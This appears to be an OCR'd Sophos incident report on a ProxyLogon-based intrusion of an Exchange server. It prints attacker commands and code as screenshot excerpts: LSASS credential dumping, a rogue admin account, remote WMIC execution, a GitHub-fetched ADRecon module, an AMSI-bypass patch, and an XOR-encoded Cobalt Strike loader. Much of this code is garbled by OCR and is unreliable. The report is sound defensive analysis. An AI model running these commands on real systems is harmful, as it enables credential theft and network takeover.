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RECORDER

In a recently-concluded engagement, Sophos’ Rapid Response team was called in to

investigate an attack targeting an Exchange server. During the course of the work, the
responders discovered that the attackers were still taking actions inside the target’'s network,
and stopped the slow-rolling, manually controlled attack before any lasting damage could be
done.

The target was a large enterprise that has around 15,000 endpoints spread across North
America. Sophos discovered the attack, which began with the target's Exchange server
becoming compromised through the use of the ProxyLogon exploit.

What made the attack stand out was the attackers’ use of an unusual combination of
commercial remote management tools not typically observed during the early phases of
attacks, and the attackers’ careful avoidance of some of the more obvious (and forensically
noisy) techniques we typically observe in attacks like this, such as the widespread use of
RDP to take control of machines inside the network. They did, however, scan the network
and deploy Cobalt Strike as they moved from machine to machine.
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» powershell.exe "powershell.exe” -noninteractive -executionpolicy bypass mkdir C:\programdata\tmp

» » conhost.exe \??7\C:\Windows\system32\conhost.exe Oxffffffff

» powershell.exe "powershell.exe” -noninteractive -executionpolicy bypass rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 56 C:\programdata\tmp\memory.dmp full
» » conhost.exe \??\C:\Windows\system32\conhost.exe Oxffffffff

» » rundll32.exe "C:\Windows\system32\rundll32.exe" C:\windows\System32\comsvcs.dll MiniDump 56 C:\programdata\tmp\memory.dmp full a5
sopHoslabs

During the incident, which took place over a period of just over two weeks, the attackers
dumped stored credentials from the Exchange server, and then leveraged some of those
credentials to pivot to other machines in the network. They also used a commercial remote
access software tool called Remote Utilities, and limited their use of RDP within the network
to just one session per machine, possibly as an attempt to remain below the radar.

The initial attack phase, and its tooling

The vulnerable server was compromised on March 16th, when a log entry reveals that the
attacker leveraged two vulnerabilities — CVE-2021-26855 and CVE-2021-27065 — in order to
execute a malicious PowerShell command on the server.

Within the next 90 minutes, the attackers had enumerated the Domain Administrator
accounts from the now-compromised computer, dumped the credentials from memory so
they could work on cracking the passwords offline, and had modified a Registry key on the
computer that forced it to clear any stored credentials from memory. This final action would
force any users to log in using their current password the next time they used the machine.

07, Module_Enumerateddminz. psl . bt l

17z B
173

174 Cut-Debuy '[+4+] Looking for active Domain OUs'

175 id=.Filter = '(&iohjectCategory=container) (objectClass=container))

176 fdomain0lz = fds.Finddlli)

177 out-Info "'n-- List of feasibkble O3 -\ ——--——---""""-""""""""""—
178 ForEach (%ou In $domain0Us) |

173 if [(jou.Properties['description'].Length —-gt 0)

180 $_descr = Get-PropertyValue jou.Properties['description']

181 if i$_descr =like !'*admin®' -or

laz § descr -like '‘*engineer®' -or

183 §_deser -like '*cyber*' -or

134 §_descr -like '‘*security®' -or

pR=13 §_descr -like '*information*') {

PR if (%$ou.Properties['distinguishediame’'] .Length —-gt 0) {

187 out-0UInfo [(Get-PropertyWalue fou.Properties['distinguishediName’'])

lss 3 =
189 } sopHoslabs

Enumerating administrators and other users

The password dump file was left in a location where the attackers could retrieve it directly
from the public-facing web interface of Outlook Web Access, but where it would not be
obvious to employees who used the server to check their email.

The attackers took a one day break and returned on March 18th to begin moving laterally
through the target’s network and to establish multiple new footholds on different machines.
They dumped the credentials from memory a second time, and used WMI and PowerShell to
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issue commands on other machines on the network.

DS.MDduh_ﬁDHecunlm.

lhttps:ffraw.githubusercnhtent.cnmfsense—nf—securitgfADRecnnfmasterHADRecnn.psl
/:55.'_.
sopHoslabs

This was clearly an information-gathering and “establishing control over lots of

machines” phase of the attack, as the threat actors mapped the network using a tool called
ADRecon, and identified additional machines they would later pivot to. They used
PowerShell commands to dump memory from LSASS on some of these other internal
machines remotely, and then pulled those dump files back to the Exchange sever — their
initial foothold — for retrieval and offline extraction of more credentials.

They also took this opportunity to set up a backdoor into the network by executing the first of
several malicious payloads on the Exchange server — an open-source utility called Chisel,
which its Github page describes as “a fast TCP/UDP tunnel, transported over HTTP, secured
by SSH.” While Chisel, like ADRecon, isn’t inherently malicious, it obviously can be used that
way, as it was here.

# execute consSole command
§ dbg = "Command: " + § cc[0] + " for: " + § co[l]
out-Debug § dbg
switch (§ cc[0])
FITOR™ 4
Get-Jok | % { PFewmove-Jokh -Jok $_ —Foroce —-Erroriction SilentlyContinue
$_ll = Convert-ToBaseod ("ITOPLCE™)
if (% co.length -ge 2) { § 12 = Conwvert-ToBase64($ cc[1]) }
else | $_12 = Conwvert-ToBase6d ("Nothing™) @
§ weg = § 11, § 12 -join "'n"
(% result, § error) = Zend-ToConsole § msag
exit
i
TRILL™
if (% ce.lLength -1t 2) { return §false }
Remowve-Job —MName S_cc[l] —Foree -Errorlction 2ilentlyContinue
$_ll = Convert-ToBase6d ("EKILLACKE™)
§ 1z = Convert-ToBasetd(§ co[l]) .
§ msg = §_11, $_12 -join "'n" &
{§ result, § error) = Send-ToConsole § wsg SDPHDEIQ S
An excerpt of the bot.ps1 script
The attackers also ran a command that remotely installed a PowerShell backdoor (named
bot.ps1) and a script that pulled down and executed a Cobalt Strike payload (called

cobalt.ps1) on multiple machines on the network.

The threat actors actually built themselves a sizeable collection of tools they used during this
attack, the details of which are discussed below.

Attackers find expediency outweighs security
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For all the effort involved, the attackers did not employ particularly good security, themselves.

They created accounts named admin on several machines (with a password of
‘P@sswO0rd“) and added them to the Administrators group.

» powershell exe

» > conhost.exe

» powershell.exe

» » conhost.exe

» » netexe

> > P> netlexe

» powershell.exe

"powershell exe” -noninteractive -executionpolicy bypass net user admin P@sswO0rd /add && net localgroup administrators admin /add
\??\C:\Windows\system32\conhost exe Oxffffffff

"powershell.exe” -noninteractive -executionpolicy bypass net user admin P@sswOrd /add

\??\C:\Windows\system32\conhost.exe Oxffffffff

"C:\Windows\system32\net.exe" user admin P@sswOrd /add

C:\Windows\system32\netl user admin P@sswoOrd /add

"powershell.exe” -noninteractive -executionpolicy bypass net localgroup administrators admin /add &
sopHoslabs

Attacker assigning a terrible password

But they didn’t log on with these accounts; Rather, as the day went on, they used the
credentials that belonged to network administrators extracted from the LSASS memory
dumps to connect from one machine to another, just one time over Remote Desktop,
executing their bot.ps1 tool on the remote machine.

They also used this access to install a commercial IT helpdesk access tool called Remote
Utilities, and three days later, a Cobalt Strike beacon (signed with a stolen digital certificate
that, as of this writing, currently passes validation), on some machines.

General

2

Digital Signature Details

Advanced

Digital Signature Information
This digital signature is OK.

Signer information

Name: OASIS COURT LIMITED
. The Cobalt Strike payloads
E-mail: ‘nonaterscontl%&@yahoo.com pay
Signing time: ‘Saturday, 13 March, 2021 01:57:36 AM
View Certificate
Countersignatures
Name o... E-mail a... Timestamp
Sectigo ... Notavai... Saturday, ... .
sopHoslQbs

were digitally signed with a valid certificate
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The Cobalt Strike beacon was a DLL that was given a random name, and executed from the
C:\Windows\Temp directory by a command issued through the bot.ps1 backdoor. These
payloads were all signed by a Sectigo-issued certificate assigned to OASIS COURT
LIMITED, with validity that does not expire until the end of 2021, tied to a yahoo.com email
address.

The attackers then went silent for more than a week. On March 27, they returned and tried to
execute another Cobalt Strike beacon in memory, but were prevented from doing so by our
endpoint protection tools. On March 29, they performed reconnaissance of the Active
Directory server (using one of the administrators’ stolen credentials), exported the results to
a series of CSV files, then compressed those into a single Windows .cab archive file.

» powershell.exe "powershell.exe” -noninteractive -executionpolicy bypass wmic /node process call create ‘powershell ps Isass > ¢:\programdata\a.txt’

» » conhost.exe \??\C:\Windows\system32\conhost.exe Oxffffffff

» > WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /node: process call create "powershell ps Isass > c:\programdata\a.txt"

» powershell.exe "powershell.exe” -noninteractive -executionpolicy bypass type \\ \cS\programdata\a.txt &
soproslabs

Running a remote script

The attackers continued their slow-roll approach, only taking a small number of actions on
any given day for the next few days. Sophos detected and stopped the execution of another
Cobalt Strike beacon on March 30, and blocked a PowerShell command that would have
deployed the bot.ps1 backdoor to four more servers the attackers had identified. They then
recompiled the Cobalt Strike beacon in an attempt to evade our detection and tried again on
March 31.

282 if (5GrouplD Hlike “%GROUP%*} { $GrouplD ="} ~ 272 if($GrouplD -like *%GROUP%*) { 5GrouplD ="}
283 273
284 $scriptWarningPreference = "SilentlyContinue” 274 SscriptWarningPreference = "SilentlyContinue™
285 $scriptVerbosePreference = "SilentlyContinue” 275 SscriptVerbosePreference = "SilentlyContinue™
286 [Threading.Semaphore] $script Semaphore = $null 276 [Threading Semaphore] $scriptSemaphore = $null
287 $_debCnt=0 277 $_debCnt=0
288 278
289 #—initialization 279 #—initialization
I= 280 =#
[ 281 add-type @
I= 282 using System.Net,
= 283 using System.Security. Cryptography. X509Certificates; A
= 284 public class TrustAllCertsPolicy : ICertificatePolicy {
=3 285 public bool CheckValidationResult(
I= 286 ServicePoint srvPoint, X509Certificate certificate,
= 287 WebRequest request, int certificateProblem) {
= 288 return true;
I= 289 1
= 200 }
1= 291 '@
= 202 [NetSenicePointManager]:SecurityProtocol = [Net SecurityProtocolType]: :TIs11 -bor [Net SecurityProtacol Ty
I= 293 [NetSenicePointManager]. . CerificatePolicy = New-Object TrustAllCertsPolicy
= 204 #= ﬁ
205 sopHoslabs

comparison of older (left) and newer (right) bot scripts, with code added to check TLS
certificate validity

By April 1, the attackers had begun to use the commercial Remote Utilities tool to open a
connection from a computer based in Paris to one of the targeted internal servers. They used
this connection to deliver a number of malware files, including a copy of Mimikatz and a new
PowerShell script named p.ps1, and to create new users with administrative privileges on
additional machines. They also named one of the Chisel executable payloads Sophos.exe
and tried to drop it into the Windows directory and execute it.
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On April 2, the targeted company decided to engage with Sophos Rapid Response to deal
with the growing problem. Within a few hours, we had identified a number of malicious
programs they had delivered onto the network. The attack appeared to be a precursor to
delivering ransomware to the entire corporate IT infrastructure, but our intervention
prevented any further harm from being done.

Handcrafted tools used in the attack

In addition to the PowerShell remote access tool, bot.ps1, the threat actors created a series
of other PowerShell scripts, which they deployed as modules to enhance the core
functionality of bot.ps1. These were run across the target’s network in an attempt to conduct
reconnaissance and give themselves the privileges they needed to complete the attack.

function Yave-Bullet([3tring] $3avePath) {
fbulletBed = 'I3J1ZZ21vbiBoZWxwilIginVuYiRpb25ebOpmdlsidGlvhiEPdIOcRGVidleoWiNOcmluZ 10kdAGh1T:
KCRETIMpIHSNCiAgICAgIC AgalYgKCRETINUUIGF ydESmEGOLYWIuIC1 leSAkdHI1 23 ke AL EZ1ELZ 1haWdgP S AkEZNzL]
ESRKifQOEDQogICAgICAICAGICEPZi Aol F i ¥y SMEZWSndGggLWx0IDMp IHs oW OAdEJuIC R YUz Z3B9D Qo g IC Ag I C Agy It
FrlkiipwYisTAGFOEZSAr ICIgamSy i i ICsgdFOghe TuTmF L 200K ICAgICAgICAgICAGTIVOLUR LY nWVnICREZGInhOog It
fhulletText = [Text.Encoding] ::UTFE.Get3tring|[convert] : :FromBasedd43tring{fhulletEad))

if [ (Test-Path -path $3avePath) -eq $false) |

throw "Can not =save bullet. Directory '§SavePath' does not exists"
i
fbulletFile = [System.Id.Path] ::SetRandowFilelamsa() + '.p=sl'
fbulletFile = Join-Path $SawvePath $bullecFile
[Io.File] ::WriteldllText ($bhulletFile, jhulletText)
return $hulletFile

} snpuosl.gé)s
The encoded “bullet” file, embedded in a script used during the attack

o Module_AMSIBypassMaybe_regthrgrwfgterw.ps1: a dropper that delivers either a
32-bit or 64-bit DLL as a payload, and then patches the payload’s entrycode in an
attempt to defeat AMSI-based malware detection.

e Module_RunPsExecMaybe.ps1: Despite its name, this module has nothing to do with
the Windows PSExec utility. It creates a service entry that runs a PowerShell backdoor
it refers to as a “RemoteBulletFile.”

e Module_ADRecon.ps1: A one-line script that literally just calls the PowerShell script
for ADRecon directly from its Github page.

e Module_RunByWMI.ps1: A script that copies the PowerShell backdoor to a remote
computer. The only difference between it and Module _RunPsExecMaybe.ps1 is this
version includes a variable called $urlConsole that defines a command-and-control
address.

e Module_GetAllServers.ps1: Collects information about the current domain, and any
physical or virtual machines hosted in the domain.

e Module_GetDomainControllers.ps1: Collects information about the domain
controllers, including its hostname, operating system version, and its operational
status.

¢ Module_EnumerateAdmins.ps1: Collects domain admin, enterprise admin, and
domain user information.
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¢ Module_Mod-EnumerateHyperV.ps1: Enumerates and collects information about
HyperV virtual machines within a domain.

function regthrgrwfigterw |
If i$Env:PROCESSOR_ARCHITECTURE —eq "HE@e") |
#out-Info "Apply patch for 3Z-hit mode Powershell™
$hexs='4D17CAS00303000004040000FFOOFFOQOESESOO0000000000404000
SEeS0F1000AFES1Z2FEOI00S545CFEESSEL1O00005EBC3I30FD4CCeSEZ2A6000059C3A]
oooooo000000010100045450000534056969BCECEZEZS383B12124444A0CACE1G01E
' The embedded
else |
#out-Info "Apply patch for 64-hit mode Powershell™
$hexs='4D17CAS00303000004040000FFOOFFOQOESESOO0000000000404000
21BC9el9469110045C52 1554450000045 5F 52 ADESOOOODO04SEFS2ASEQQOOOQOOES
DDBDD%ZQADBDDECD%D&QSZBlBlBSDZZ1DDCDElEDDSEZZDBlllBDBlETSDDDDgE%T

' sopHoslabs

(LR T e _ [L 0 RN Sty Ry

patches that modify PowerShell’s behavior

Lessons learned from the attack

The threat actors engaged in this attack were canny and evasive. They tried to stay below

the radar by avoiding using RDP extensively, and by using commercially-available IT
management tools to conceal the true nature of their work. Despite gaining initial access
through a “low hanging fruit” Exchange server, they understood they might only have a
limited window in which to gain the level of access they needed in order to deliver a final
payload.

Fortunately in this case, the target never was hit with this destructive payload. Quick action

by Labs and MTR ensured that the attackers’ actions were countered by reactions that
prevented them from doing more damage. The greatest harm they caused resulted in the
organization requiring all employees to change their passwords.
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lFbanex = '5D17CA900203000004040000FFO0FFOOBSES00000O00O000204000000000000000
- 895050027 EECEEEDZF 204007 1Y eECEEED V2 0EQ4007 72 ECEEEDE 50004007 1Y eECEEED ARG 40
- 0000000000038 YEF0O07EYE3 636363 030303030313 14046303 040462020363 6363630636303 62D0
- 1314646303049 64 620203131464 63030463 62D2D3030230230343434342D2D303023030303046462D0
- 023020303 03030302D2D30303030303032030202D303049046313 140463 83823030303030302032030
- 0202030303049 6463131460463434343430303030303020207D7D00007E7E203046463 636236063636
- 43433347 DT DO00O0YEYEZ 6363 63063939303 03030303023020303 020203131464 6303 04036202030
- 0303131464622 D3 623630363063 0363 020203131464 0303 0464620203 83823434303030302D2D30
- BdE3 6363630220313 140d63 838343 42D2D303030302302030303030303020303203030302032038
- 023020303 03030303020303030303623 03623630363 6307 D7D000O0TEYEZ0302303038383434313146
- Q207D DO00OYE?EI023040d63 9393030303 030303030230202D2D030303030213146462D2D313146
- 930930302020 303 0463630303 0302D2D343430303 131304620203 03030302363 6363 62020303636
- 0230203020203 63 6363639393 0302D2D03 6363036363 02303 0630304046313 13646383383434303030
- 434349343 030303030203030303049646313 14047 D7D0O00O0O7EYEIO304 6463 03030303030202034
- DRDOO0OYETEIOZ03023038383030313 146463030464 02020303 03030303020302D2D03030464630
- Bde2DED3030303030303030202D363 6363630303 0302D2D0363 6303630304264 62D2D3131404638
- 0202DZ2D3030303030203030202D0303046463131464023 434343 43030303023030303036362360367D
- PATAEEE3YIAe3 041914 0ded6d 035353333 VDYDO0O0OOYETVEIO0303 0363232494443 6363838353536
- O0O07B7BEI V3733333620404 63 4343338303041 412D2D3233334141373734342D2D3 6363131323230
- DEDE0Z03030303030230202D3 636363 0303030302020 230304646313 140402020343 43434303030
- 20002CEBCa001ADOCI00ZCEFCI003CFFCI005093 C300c0A3C300723RECI00EE4BCI009AEQCI0O0EE
-G eLe SV E T2 eEREGleleCEeC4EdER 1ol e e e S 500006161757 5646400697474 YR ETITIT2T7200
. 898969694 B2BA5A1C0O0024A1 5004 C111E425D 160617 1D0EOS414D0OCO2427C3 60617 1DOEOSZD0O]
- AZBEZ291FOL5EeS10C1IEBO1SE351 041511175262 CAOF0ODOEBOD160711174321203E080556510231414
Z

3 Shenlen = fhenHex.LengthlZ2

4 ShenBytes = New-Chiject Byte[] ($honLen)

imask = [bvte] ($bchlen -khand OxXFF)

g}

& (0..[%henlen-11) | %

7 fi =2 % § :

g fhyte = fhenHex.Substring($i, 2)

a fhenBytes[$ ] = [byte]l "Oxfhyte™ -hxor [byte] fmask

1o imask = fhenByres[§ ]

11 % B

1z

13 $henFile = (Join-Path fenwv:TEMP ([Svstewn.I0.Path] @ :GetRandowFilellame ()] ]

14 [io.file] ::WMriteldllBytes (ShonFile, S$honBytes) f,'i."f?
15 $null = regswrizZ /i /3 fhenFile SDPHDEIOES

The Cobalt Strike DLL payload was embedded as XORed binary data within a PowerShell

script
In most attacks of this nature we investigate, the eventual deliverable is usually a

ransomware payload. When attackers begin to see their customized tooling get blocked by

security products, they often rapidly escalate to deploy ransomware before they lose all

access to the network. The countermeasures Sophos deployed effectively prevented them

from taking that final step.

The target told their Sophos team that they thought they had patched the Exchange server

correctly, and then had tested whether the server was compromised using some scripts

provided by Microsoft. Unfortunately, they relied too heavily on those scripts, which Microsoft
had subsequently revised. The initial tests showed the server had not been compromised,

but the followup tests using the revised scripts revealed that the server had, in fact, been
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taken over. While it was a useful exercise to run the “have | been compromised” scripts, it
also serves as a cautionary tale that organizations should not rely on a test script alone to
give themselves peace of mind.

Sophos also learned a valuable lesson in dealing with these attackers: It pays dividends to
recognize the hallmarks of an active attack, even if the attackers are using tooling you’re
unfamiliar with. Detecting the launch of Cobalt Strike in memory is just one such hallmark,
and helped convince the customer that a serious (potentially very costly) attack was actively
underway even though we didn’t observe many of the other common indicators of an attack,
such as widespread use of RDP over a prolonged period of time, which would have
appeared in log entries.

Detections and indicators of compromise

Sophos detects the payloads involved in this attack and others like it as Mem/Meter-A,
Troj/PSDrop-CV, AMSI/Cobalt-E, or Troj/PS-FX. SophosLabs has published indicators of
compromise relating_to this attack to our Github page.
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